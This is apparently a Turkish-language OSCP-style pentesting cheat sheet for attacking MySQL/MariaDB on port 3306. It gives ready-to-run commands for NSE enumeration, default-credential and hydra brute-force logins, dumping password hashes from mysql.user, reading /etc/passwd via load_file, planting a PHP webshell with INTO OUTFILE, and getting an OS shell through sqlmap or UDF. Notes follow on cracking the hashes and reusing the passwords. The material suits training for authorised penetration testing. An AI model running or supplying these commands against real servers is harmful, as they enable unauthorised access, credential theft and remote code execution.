3306
MySQL
linuxMySQL/MariaDB veritabani: nmap NSE enumeration, varsayilan/zayif kimlik bilgileri, UDF ile RCE, FILE privilegi ile dosya okuma/yazma ve hash dump.
┌──
Komutlar
nmap ✓ EXAM-SAFE
nmap -sV -p {{RPORT}} --script=mysql-info,mysql-empty-password,mysql-users,mysql-databases,mysql-variables,mysql-audit,mysql-dump-hashes,mysql-enum {{RHOST}} MySQL NSE script taramasi: sürüm, bos parola, kullanicilar, DB'ler. HackTricks — 3306 Pentesting MySQL
mysql ✓ EXAM-SAFE
mysql -h {{RHOST}} -P {{RPORT}} -u {{USER}} -p'{{PASS}}' MySQL istemcisi ile kimlik dogrulamali baglanti. HackTricks — 3306 Pentesting MySQL
mysql ✓ EXAM-SAFE
mysql -h {{RHOST}} -P {{RPORT}} -u root --password='' Bos/varsayilan root parolasi denemesi. HackTricks — 3306 Pentesting MySQL
hydra ✓ EXAM-SAFE
hydra -L {{WORDLIST}} -P {{WORDLIST}} {{RHOST}} mysql MySQL kimlik bilgisi brute-force. HackTricks — 3306 Pentesting MySQL
mysql ✓ EXAM-SAFE user
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e 'show databases; select user,authentication_string from mysql.user;' DB listele ve mysql.user hash'lerini dump et (FILE/admin gerekli). HackTricks — 3306 Pentesting MySQL
mysql ✓ EXAM-SAFE user
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e "select load_file('/etc/passwd');" FILE privilegi ile yerel dosya okuma. HackTricks — MySQL File priv
mysql ✓ EXAM-SAFE user
mysql -h {{RHOST}} -u {{USER}} -p'{{PASS}}' -e "select '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/sh.php';" FILE privilegi + writable webroot ile webshell yazma (secure_file_priv kapali olmali). HackTricks — MySQL File priv to RCE
sqlmap ⚠ RESTRICTED user
sqlmap -d "mysql://{{USER}}:{{PASS}}@{{RHOST}}:{{RPORT}}/database" --os-shell Dogrudan baglantida UDF/INTO OUTFILE ile OS shell (otomatik istismar). PayloadsAllTheThings — MySQL Injection
Genel Bakis
MySQL/MariaDB OSCP makinelerinde sik gorulur. Cogu zaman ya zayif/varsayilan kimlik bilgileri ile baglanti kurulur ya da bir web uygulamasindan ele gecirilen kimlik bilgileriyle erisilir. Asil deger; kimlik bilgisi loot, dosya okuma/yazma ve UDF ile RCE kombinasyonundadir.
Enumeration
- nmap NSE scriptleri ile surum, bos parola ve kullanici listesini cikar.
mysql-dump-hashesadmin erisimi varsa hash’leri toplar; aksi halde manuelselect user,authentication_string from mysql.user;calistir.- Surum bilgisi onemli: eski MySQL/MariaDB surumlerinde bilinen CVE’ler ve UDF exploit yollari farklidir.
Kimlik Dogrulama / Varsayilan Kimlik Bilgileri
root/ bos parola,root:root,root:toor, uygulama config dosyalarinda bulunan kimlik bilgileri ilk denemeniz olmali.- LFI/dosya okuma ile elde ettiginiz
wp-config.php,config.php,.envdosyalarindaki DB kredleri burada is gorur. - Brute-force icin hydra kullanilabilir ancak OSCP’de once manuel/varsayilan denemeleri tercih edin.
Dosya Okuma/Yazma (FILE privilegi)
FILEprivilegine sahip kullaniciload_file()ile yerel dosyalari okuyabilir (/etc/passwd, SSH key, config).INTO OUTFILEile webroot’a PHP webshell yazilabilir; ancaksecure_file_privdegiskeni bos olmali (show variables like 'secure_file_priv';ile kontrol et). MariaDB varsayilaninda bu cogu zaman kisitlanmistir.- Yazma basariliysa elde ettiginiz webshell uzerinden reverse shell alip pivot edin.
UDF ile RCE
- Yazma yetkisi + uygun plugin dizini varsa User Defined Function (UDF) ile
sys_exec/do_systemtanimlayarak komut calistirilabilir. raptor_udf2 PoC klasiktir. - sqlmap’in
--os-shellmodu bunu otomatiklestirir; OSCP’de otomatik istismar restricted sayilir, manuel UDF tercih edilir.
Loot / Pivot Notlari
- mysql.user tablosundaki hash’leri hashcat ile kir (
mode 300eski,mode 7401caching_sha2 icin). - Uygulama tablolarindaki kullanici parolalarini cikar; parola tekrar kullanimini SSH/web panellerinde dene.
- DB’den okudugun konfigurasyon ve API anahtarlarini sonraki adimlarda kullan.
┌──
İlgili teknikler
┌──